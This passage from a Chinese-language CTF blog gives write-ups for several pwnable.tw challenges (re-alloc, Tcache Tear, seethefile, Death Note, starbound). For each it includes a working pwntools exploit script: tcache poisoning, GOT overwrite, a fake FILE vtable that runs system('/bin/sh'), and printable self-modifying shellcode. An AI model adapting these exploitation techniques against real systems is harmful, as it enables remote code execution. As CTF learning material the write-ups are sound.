53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
# p = remote("chall.pwnable.tw", 10106)
elf = ELF("./re-alloc")
libc = ELF("./libc-2.29.so")
p = elf.process()
# context.log_level = "debug"

def add(idx,size,data):
p.sendlineafter("Your choice: ",str(1))
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(data)

def edit(idx,size,data):
p.sendlineafter("Your choice: ",str(2))
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
if size!=0:
p.recvuntil("Data:")
p.send(data)

def delete(idx):
p.sendlineafter("Your choice: ",str(3))
p.recvuntil("Index:")
p.sendline(str(idx))

add(0,0x18,'a'*8)
edit(0,0,'') # free
edit(0,0x18,p64(0x404048)) # chunk0 -> atoll_got() tcache[0x20]
add(1,0x18,'a'*8)
# clear heap[0],heap[1]
edit(0,0x38,'a'*8) # chunk0 -> 0x38 tcache[0x40]
delete(0)
edit(1,0x38,'b'*0x10)
delete(1)
#again
add(0,0x48,'a'*0x8)
edit(0,0,'')
edit(0,0x48,p64(0x404048))# chunk0 -> atoll_got() tcache[0x50]
add(1,0x48,'a'*0x8)
edit(0,0x58,'a'*8)# chunk0 -> 0x38 tcache[0x60]
delete(0)
edit(1,0x58,'b'*0x10)
delete(1)

add(0,0x48,p64(0x00401070))# plt_printf
p.sendlineafter("Your choice: ",str(1))
p.recvuntil("Index:")
p.sendline('%paaa%pbbb%p')
# p.recv()
p.recvuntil('bbb')
libc.address=int(p.recv(14),16)-0x12e009
info("libc: "+hex(libc.address))

p.sendlineafter("Your choice: ",str(1))
p.recvuntil(":")
p.sendline('a'+'\x00')# idx = 1
p.recvuntil(":")
p.send('%15c')# size = 15
p.recvuntil("Data:")
p.send(p64(libc.sym['system']))
p.sendlineafter("Your choice: ",str(3))
p.recvuntil("Index:")
p.sendline("/bin/sh\x00")
p.interactive()

0x0A Tcache Tear

查到该题目libc版本为2.27-3ubuntu1_amd64,该版本的tcache检查机制较少,可以利用double free进行地址任意写。

1
2
3
4
5
if ( v4 <= 7 )
{
free(ptr);
++v4;
}

free后没有将指针清空,存在UAF漏洞,利用方法是在可写的bss段构造一个size大于tcache的fake chunk,然后free,使其进入unsorted bin,泄露出libc基址。进而再次利用任意地址写修改libc中可用的函数指针,最终getshell。

这里需要注意的是,tcache使用 64 个单链表结构的 bins,每个 bins 最多存放 7 个 chunk,64位程序tcache最大为0x408,因此需要伪造大于0x408大小才能放入unsorted bin,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块,因此free时,会对当前的堆块进行一系列检查

1
2
3
4
// 在 _int_free 函数中
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ["tmux","splitw","-h"]
# exe = context.binary = ELF('./test')
elf=ELF('./tcacher')
libc = ELF('/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
exe = './tcacher' arg1 = ''; arg2 = ''
host = 'chall.pwnable.tw'
port = 10207
if args.I:
context.log_level='debug'
def local():
return process(argv = [exe,arg1,arg2])
def remote():
return connect(host, port)
start = remote if args.R else local

p = lambda : pause()
s = lambda x : success(x)
re = lambda m : io.recv(numb=m)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

#==================================================
def add(size,data):
sla("Your choice :" , '1')
sla("Size:" , str(size))
sla("Data:" , data)
def delete():
sla("Your choice :" , '2')
def show():
sla("Your choice :" , '3')
def exit():
sla("Your choice :" , '4')
name = 0x0000000000602060

io = start()
sla("Name:" , p64(0) + p64(0x501))
add(0x50,'a'*24)
delete()
delete()
add(0x50,p64(name+0x500))
add(0x50,p64(name+0x500))
add(0x50,(p64(0)+p64(0x21)*2)*2)

add(0x60,'a')
delete()
delete()
add(0x60,p64(name+0x10))
# add(0x60,'a')
add(0x60,"ld1ng")
add(0x60,"ld1ng")

delete()
show()
ru(p64(0x501))
libc_base = uu64(re(6))-96-0x10-libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
og = [0x4f2c5,0x4f322,0x10a38c]
rce = libc_base + og[1]
info("libc_base: " + hex(libc_base))
info("free_hook: " + hex(free_hook))
info("rce: " + hex(rce))

add(0x70,'a')
delete()
delete()
add(0x70,p64(free_hook))
add(0x70,"ld1ng")
add(0x70,p64(rce))
add(0x80,"test")
# gdb.attach(io)
delete()

io.interactive()

0x0B seethefile

glibc2.23 ,题目实现了标准的open read write 的流程,但是通过限制文件名禁止读flag文件,漏洞点name和fp都是bss段数据,且相距很近,在退出时,输入name可以造成溢出覆盖到fp

image-20221124171057860

建议学习raycp大佬博客,包括fread,fopen,fwrite,fclose的源码分析。

这里的利用方法是伪造fake FILE,使得fclose时调用system。

libc的泄漏很简单,利用linux的proc伪文件系统读取/proc/self/maps即可获得libc基址,一次最多只能读取0x18f个字节,所以可以read两次,将其打印出来。

一般我们读取的是/proc/[pid]/maps,可以获取任意进程的映射信息,这里我们使用self是为了获取当前进程的内存映射关系

当读入一个文件后,_IO_list_all便指向当前fp,fclose之后,就指回sterr。

image-20221124172951035

fclose的核心部分由_IO_new_fclose完成,一共分为三个部分,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int _IO_new_fclose (_IO_FILE *fp)
{
int status;

...

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);//将fp从_IO_list_all链表中取下

...
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp); //关闭文件,并释放缓冲区。
...
_IO_FINISH (fp); //确认FILE结构体从链表中删除以及缓冲区被释放
...
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}

return status;
}

_IO_IS_FILEBUF为0x2000,_flags&0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINSH(fp)相当于调用fp->vtable->_finish(fp)

将fp指向一块内存p,p偏移0的前4个字节设置为0xffffdfff,p偏移4的位置放上参数’;/bin/sh’;p偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存q,32位程序vtable偏移为0x98,q的2*4字节处(vtable->_finish)覆盖为system即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#==================================================
io = start()
def openf(file):
sla(":","1")
sla(":",file)

def readf():
sla(":","2")

def writef():
sla(":","3")

def closef():
sla(":","4")

def quit(name):
sla(":","5")
sla(":",name)

openf("/proc/self/maps")
readf()
writef()
readf()
writef()
ru(b"[heap]\n")
libc_base = int(re(8),16)+0x1000
info(hex(libc_base))
system = libc_base + libc.sym['system']
info(hex(system))

fakefile_addr = 0x0804B284
payload = b"a"*0x20 + p32(fakefile_addr)
payload += p32(0xffffdfff) + b";/bin/sh" #;$0
# payload += b"\x00"*0x88
payload = payload.ljust(0x94+0x24,b"\x00")
payload += p32(fakefile_addr + 0x98)
payload += p32(0)*2 + p32(system)

quit(payload)

ia()

0x0C Death Note

漏洞点在add时,利用了int类型的idx,所以可以修改到got表,利用add修改到puts的got,写入shellcode即可

image-20221126215338101

难点在于printable函数,限制了shellcode只能为可打印字符,所以int 0x80以及非可打印字符均不可使用。

用到的方法是在shellcode的最后写入'\x6b\x40',然后在shellcode中使用sub byte ptr[eax + 43], dl等,将'\x6b\x40',修改为\xcd\x80,即int 0x80,eax = 0x0b则使用xor来实现

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
io = start()
def add(idx,name):
sla("choice :","1")
sla("Index :",str(idx))
sla("Name :",name)

def show(idx):
sla("choice :","2")
sla("Index :",str(idx))

def delete(idx):
sla("choice :","3")
sla("Index :",str(idx))
# eax = 0xb ebx = /bin/sh ecx = 0 edx = 0 int 0x80 = /xcd/x80
shellcode = '''
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx

push edx
pop eax
push 0x60
pop edx
sub byte ptr[eax + 43], dl
sub byte ptr[eax + 43], dl
sub byte ptr[eax + 42], dl
push 0x3e
pop edx
sub byte ptr[eax + 42], dl

push ecx
pop edx
push edx
pop eax
xor al, 0x60
xor al, 0x6b
'''
print(asm(shellcode))
shellcode = asm(shellcode) + b'\x6b\x40'
# gdb.attach(io)
add(-16,shellcode)
# delete(0)
ia()

image-20221126220246095

不太理解栈上/bin/sh字符串的截断问题,这里用的shellcraft.sh()中的/bin///sh

0x0D starbound

image-20230301140357375

一个可以玩的游戏,代码量很大,漏洞在主函数输出选项时,调用函数指针,而索引v3是int型,造成越界访问。

在设置中username可以自己设置,即可以修改bss段地址,计算偏移,可以得到位于-33的位置上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char nptr[256]; // [esp+10h] [ebp-104h] BYREF

init();
while ( 1 )
{
alarm(0x3Cu);
main_menu();
if ( !readn(nptr, 0x100u) )
break;
v3 = strtol(nptr, 0, 10);
if ( !v3 )
break;
((void (*)(void))nop[v3])();// vlun
}
do_bye();
return 0;
}

修改name为函数指针即可。

exp

0x0008048e48:add esp 0x1c ,要先调整栈帧,以能够执行到puts_plt,最后执行system(‘ -33;/bin/sh’),但是不理解为什么要在前面加个空格才能成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0804A605
sla('>','6')
sla('>','2')
sla(' name:',p32(0x0008048e48))
sla('>',b'-33\x00'+b'aaaa'+p32(puts_plt)+p32(main_addr)+p32(puts_got))
libc_base = l32() - 0x67d90
inf(libc_base)
ogg = one_gadget(libc_base)
# inf(ogg[0])
system = libc_base + libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00')) + libc_base
inf(system)
inf(binsh)
sla('>','6')
sla('>','2')
# sla(' name:',p32(system))
# sa('>',' -33;/bin/sh\x00')
sla(' name:',p32(ogg[1]))
gdb.attach(io)
sla('>','-33')
ia()